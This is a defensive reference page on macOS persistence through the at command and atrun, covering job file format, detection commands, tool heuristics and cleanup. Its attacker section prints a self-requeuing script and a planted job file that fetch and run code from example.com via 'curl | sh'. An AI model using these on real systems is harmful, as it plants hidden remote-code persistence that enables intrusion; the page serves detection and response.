Skip to content

On a schedule

at Jobs: macOS Persistence via at and atrun

How at jobs work on macOS: atrun disabled by default, job files in /private/var/at/jobs, how attackers abuse them, how to check a Mac and remove them.

MITRE ATT&CK
T1053.002
Tactics
Persistence, Execution
Runs
On a schedule
Set up by
Users and root
Locations
  • /private/var/at/jobs/*
  • /usr/lib/cron/jobs/*
  • /var/db/com.apple.xpc.launchd/disabled.plist

How it works

at runs a command once, at a given time. On macOS the user-facing commands are at, batch, atq and atrm, which are one setuid-root program installed under four names in /usr/bin. Queueing a job writes a shell script into /usr/lib/cron/jobs. /usr/lib/cron is a link to /private/var/at, so the real directory is /private/var/at/jobs.

A job file holds four things, in order:

  1. A header: #!/bin/sh, # atrun uid=501 gid=20 and # mail <user> 0.
  2. The umask and every exported environment variable of the submitting shell.
  3. A cd <directory> || { … exit 1; } block that restores the working directory.
  4. The commands themselves. With at -f script, the script's text is copied into the job.

The file name encodes three fields:

  • the queue letter (a for at, b for batch, = while a job runs);
  • the job number, as five hex digits;
  • the run time in minutes since the Unix epoch, as eight hex digits.

So a0000301c8f2a0 is job 3 in queue a, due at minute 0x01c8f2a0. .SEQ stores the last job number, and .lockfile serialises at invocations.

Nothing runs a job except atrun (/usr/libexec/atrun). launchd starts it from /System/Library/LaunchDaemons/com.apple.atrun.plist, every 30 seconds on current releases. That plist carries Disabled = true, so on a stock Mac atrun never runs. atrun(8) tells root to enable it with launchctl load -w /System/Library/LaunchDaemons/com.apple.atrun.plist. That command writes an override in /var/db/com.apple.xpc.launchd/disabled.plist, which survives reboots.

Jobs queued while atrun is disabled are not discarded. They wait in the directory and run as soon as someone enables atrun, if their time has passed. Each atrun pass starts every due job in the lowercase queues and at most one batch job when the load is low. It checks the owner's account through PAM and skips locked or expired accounts.

Who may queue jobs is set by /usr/lib/cron/at.allow and at.deny. On current releases at.deny exists and is empty, which lets every account queue jobs. A job runs as its owner, with the saved environment and directory and no GUI session. Its output is mailed to the owner.

An at job is one-shot. Persistence comes either from a job that queues its successor, or from a job dated far in the future.

Where it lives

PathWhatWho can write it
/System/Library/LaunchDaemons/com.apple.atrun.plistlaunchd job for atrun; Disabled by defaultApple only (sealed system volume)
/usr/bin/at, /usr/libexec/atrunQueueing tool and runnerApple only (sealed)
/var/db/com.apple.xpc.launchd/disabled.plistlaunchd overrides; com.apple.atrun is false (enabled) after load -wroot, through launchctl
/private/var/at/jobs/<job>Queued jobsroot; users through at
/private/var/at/jobs/.SEQ, .lockfileJob counter and lockroot
/private/var/at/spool/Output of running jobsroot
/private/var/at/at.allow, at.denyWho may queue jobsroot

How attackers use it

A job that queues the next one. With atrun enabled, a short script re-queues itself and never shows up as a launch item, a login item or a cron line:

cat > /Users/Shared/.r <<'EOF'
curl -fsSL https://example.com/p | sh
at now + 30 minutes -f /Users/Shared/.r
EOF
at now + 1 minute -f /Users/Shared/.r

Enabling atrun first. Because the runner is off by default, an intruder with root turns it on. That leaves a durable trace in the launchd overrides:

sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.atrun.plist
plutil -p /var/db/com.apple.xpc.launchd/disabled.plist | grep atrun
#  "com.apple.atrun" => false

A job dated weeks ahead. A job queued for next month outlives a cleanup that only looks at running processes, launch daemons and crontabs. It also works as a time bomb on a Mac where atrun is still disabled: whoever enables it later sets the job off. The planted file looks like this:

#!/bin/sh
# atrun uid=501 gid=20
# mail alice 0
umask 22
PATH=/usr/bin:/bin:/usr/sbin:/sbin; export PATH
HOME=/Users/alice; export HOME
cd /Users/alice || {
	 echo 'Execution directory inaccessible' >&2
	 exit 1
}
curl -fsSL https://example.com/p | bash

No widely documented macOS malware family is known for at jobs. They show up in hands-on intrusions and in red-team tooling, where the rarity of the mechanism is the point.

How to check a host

On a live Mac (read-only):

sudo atq                                     # every user's pending jobs
sudo at -c 3                                 # print job 3 in full
sudo ls -la@ /private/var/at/jobs/ /private/var/at/spool/
cat /private/var/at/at.allow /private/var/at/at.deny 2>/dev/null
launchctl print-disabled system | grep atrun # "enabled" means someone turned it on
launchctl print system/com.apple.atrun 2>&1 | grep -E 'state|runs|last exit'
date -r $((0x01c8f2a0 * 60))                 # decode a job file's run time
log show --last 7d --predicate 'process == "atrun" OR process == "at"'

To decode a job file's run time, take the last eight hex digits of its name, multiply by 60 and pass the result to date -r, as in the 0x01c8f2a0 line above. Compare the file's birth and modification times (stat -f '%SB %Sm %N') with the time com.apple.atrun was enabled. The override itself carries no date, but disabled.plist's modification time and the unified logs around it help. A job owned by an account that never uses a terminal is suspicious on its own.

Offline, read private/var/at/jobs/* and private/var/db/com.apple.xpc.launchd/disabled.plist from the collection, and decode each file name as above. The macOS Persistence tool parses the job files in the browser, and the collection command takes both locations.

What macOS Persistence flags

Each job file becomes one entry. It is named job N from the file name, with the owner taken from the # mail header line, the run time decoded from the file name (UTC) and the queue letter as a fact. .SEQ and .lockfile are skipped. The command is the part of the file after the cd … || { … } preamble.

  • Command heuristics on the job's commands: Downloads and runs code, Reverse or bind shell, Decodes and runs a payload, Interpreter with inline code, Removes Gatekeeper's quarantine, Injects a library (DYLD_), Turns shell history off, Makes a file immutable, Detaches from the session, Runs from a temporary or shared folder, Runs from a hidden folder and Embedded encoded blob.
  • Changed date: the job file was modified within the 7 days before the newest file in the collection.
  • program also runs from mechanisms: the job runs an absolute path outside /bin, /sbin, /usr/bin, /usr/sbin and /System that another mechanism also starts.

There is no flag for a job merely existing. A quiet-looking job therefore shows up unflagged, yet on most Macs nobody uses at at all, so read every job the tool lists.

Limits:

  • The tool does not tell you whether atrun is enabled. It reads disabled.plist only to resolve launch jobs whose plist is in the collection, and the collection command does not take /System. Check the com.apple.atrun override yourself.
  • It does not analyse the saved environment block.
  • It does not open scripts that a job calls by path rather than embeds.

Cleaning up

  1. Preserve first: sudo cp -p /private/var/at/jobs/* /path/to/case/, sudo at -c N > job-N.txt for each job, shasum -a 256 on the copies, and save launchctl print-disabled system and disabled.plist.
  2. Remove the jobs with sudo atrm N, then confirm with sudo atq.
  3. If atrun was enabled without a business reason, turn it back off: sudo launchctl disable system/com.apple.atrun and sudo launchctl bootout system/com.apple.atrun.
  4. Delete the scripts the jobs called. Then look for the same payload in cron, launch items and shell startup files, since a self-queueing job is often a backup for another mechanism.
  5. Rotate whatever the owning account could reach. If a job ran as root, treat the Mac as compromised.

References

See also

On Mac Forensics

The artifacts behind this technique, in the Mac Forensics reference: